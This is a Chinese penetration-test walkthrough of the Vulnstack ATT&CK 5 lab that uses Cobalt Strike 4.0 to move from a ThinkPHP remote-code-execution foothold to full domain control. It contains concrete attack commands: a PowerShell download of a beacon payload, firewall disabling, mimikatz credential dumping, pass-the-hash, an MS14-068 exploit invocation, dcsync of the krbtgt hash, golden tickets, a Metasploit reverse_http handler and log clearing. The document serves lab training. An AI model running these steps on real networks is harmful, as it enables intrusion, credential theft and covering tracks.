内网中CobaltStrike4.0(CS4)的渗透之旅
前言
这是老以前做的一个,主要熟悉一下cs4的新特性,还是发出来看看吧,流程简单一些,但是内网流程还是比较完整的。大家可以看看
- 本次靶机为红日安全的ATT&CK第五个靶场。
- http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
- 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
- 文章中如有错误的地方望大佬指正。
- 菜鸡文章望大佬勿喷。
0x00信息收集
Namp 扫一下
发现 80 3306
访问一下发现thinkphp5 记得是有rce的
searchsploit thinkphp
有货
0x00入口权限获取
cool可以用
上传的姿势太多了,我就使用一个最简单的
使用powershell 下载 CS payload
1 | powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','C:\phpstudy_pro\WWW\a.ps1') |
运行 直接上线 调整 sleep 1
0x01 提权
权限比较低,需要提权
我生成了一个名为Priv Esc
的listener
(payload:tcp beacon)(建议勾选Bind to localhost only)
为什么要勾选呢?作者的话:(反正就是勾选就对了)
svc-exe
svc-exe
这个参数,并不是和exp
提权那样,帮你从普通用户 ”pwn!!“ 一下子拿下系统,而是当管理员权限满足不了你的时候,可以用svc-exe
进行提升(类似getsystem
命令,但是getsystem
不太好使)
evelate svc-exe
提权成功
0x02 横向移动
切换到高权限用户
通过 explore-Process List 先查看一下进程,看看有没有杀毒软件
???
这个靶机怎么可能有?但是流程还是要走一下的
关闭防火墙
使用命令 netsh advfirewall set allprofiles state off 关闭防火墙
内网的信息搜集
网段的端口扫描,得来一下意思意思吧
然后查看域的信息
1 | net view /domain |
还可以用cs4的新增命令
1 | net domain |
1 | 老方法 |
工作站域是 sun.com
可现在登录域是 win7
因此我们需要一个域用户的进程来进行信息搜集
我们需要一个域用户
先调用 Logonpasswords 抓一波密码
还可以直观的看一下view- credentials
(因为是靶机,你最好把win7 的账户都登陆一下,否则只能抓到一个账户)
那我们拿到了这些凭据如何去调用他们呢?
切换回 本地管理员的beacon上 使用凭证有三种方法
- 第一种:使用make_token去调用
- 第二种:使用pth命令生成一个新的进程注入进去
- 第三种:使用spawn as
第一种:Make_token
Make_token是在当前的 beacon 上进行身份伪造
在当前beacon上,您的权限、权限或标识没有变化。但是,当您与远程资源交互时,使用的是您
伪造的身份.
先本地测试试命令,这个命令本地用户是用不了的,所以我们make_token一个域用户
1 | net group “domain admins” /domain |
有之前抓取的密码 域用户 leo 123.com
1 | make_token SUN.COM/leo 123.com |
第二种:使用pth命令生成一个新的进程注入进去
1 | pth SUN.COM\leo NTMLhash |
找到PID
然后steal_token PID 成功执行域命令
1 | steal_token 3860 |
第三种:使用spawn as
spawnas 命令生成具有其他用户凭据的 beacon
用图形化不香吗?
或者命令
1 | spawnas SUN.COM/leo 123.com |
第四中 进程注入到域用户的进程中,但必须得是 高权用户
那我使用system权限进入,找到域用户进程
就会多出来一个用户的beacon,成功
0x03 域内信息收集
有了域用户,那么就可以在域内收集信息
方法太多了,我只简单的介绍CS里面东西
1 | net view |
查看信任域
查看域内计算机
查看域控
1 | net dclist sun |
查看域管理员
Net group \\sun.com domain admin
查看所有用户
看下sid
信息汇总
域管理员默认没有。。。因为我们还要提权操作
1 | 域名:sun.com |
域提权
我们利用之前所收集到的信息进行域提权的操作
只能上 ms14-068 域提权一波了
先上传exp
生成伪造缓存
1 | shell MS14-068.exe -u leo\@sun.com -p 123.com -s S-1-5-21-3388020223-1982701712-4030140183-1110 -d 192.168.138.138 |
此时会生成[email protected]的伪造缓存文件。
mimikatz kerberos::purge
清空当前机器中所有凭证
mimikatz kerberos::list
查看当前机器凭证
导入伪造缓存前面
用mimikaze
mimikatz kerberos::ptc TGT_leo\@sun.com.ccache
将票据注入到内存中
成功提取,读取到了数据
0x04横向到域控
正向连接
拿下DC
反向beacon连接
先建立一个listener
生成一个生成一个 stageless payload ,这里选用的是服务exe
选取刚刚的listener
生成exe
我起名叫godc.exe
1 | 然后访问 |
加入注册表
1 | 主要这里有个坑 |
启动服务
1 | run sc \\DC start godc |
机子也是反向链接回来的,注意箭头
在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去连接他。
link操作 只能是smb beacon
所以Leo那个是tcp的不能link操作
1 | 也要先调用凭据,远程命令执行 |
0x05 权限维持
黄金票据(golden ticket)
1、首先我们需要先利用 logonpasswords 抓一波明文(在名为DC的Beacon进行操作)
2、使用 dcsync 命令导出 krbtgt 的NTLM Hash
或者,使用 hashdump 也可以导出hash
到手
3、为了方便于实践黄金票据
1 | 找一个低权限的用户 ls \\DC\C$ |
制造黄金票据
可以运行
清除票据
1 | kerberos_ticket_purge |
0x06 通道的构建
会话的派生
打开msf监听
1 |
|
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost
set lhost 127.0.0.1 set lhost eth0
set lhost 172.21.0.4 set lhost fe80::5054:ff:fe89:7f0f%eth0
set lhost ::1 set lhost lo
msf5 exploit(multi/handler) > set lhost 49.233.129.171
lhost => 49.233.129.171
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run
CS搭建SOCKS代理都说不稳,所以转到MSF上
0x07清除日志
推荐脚本用奇安信A-Team写的脚本
链接:https://github.com/QAX-A-Team/EventLogMaster
0x08 小结
- 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
- 文章中如有错误的地方望大佬指正。
- 菜鸡文章望大佬勿喷。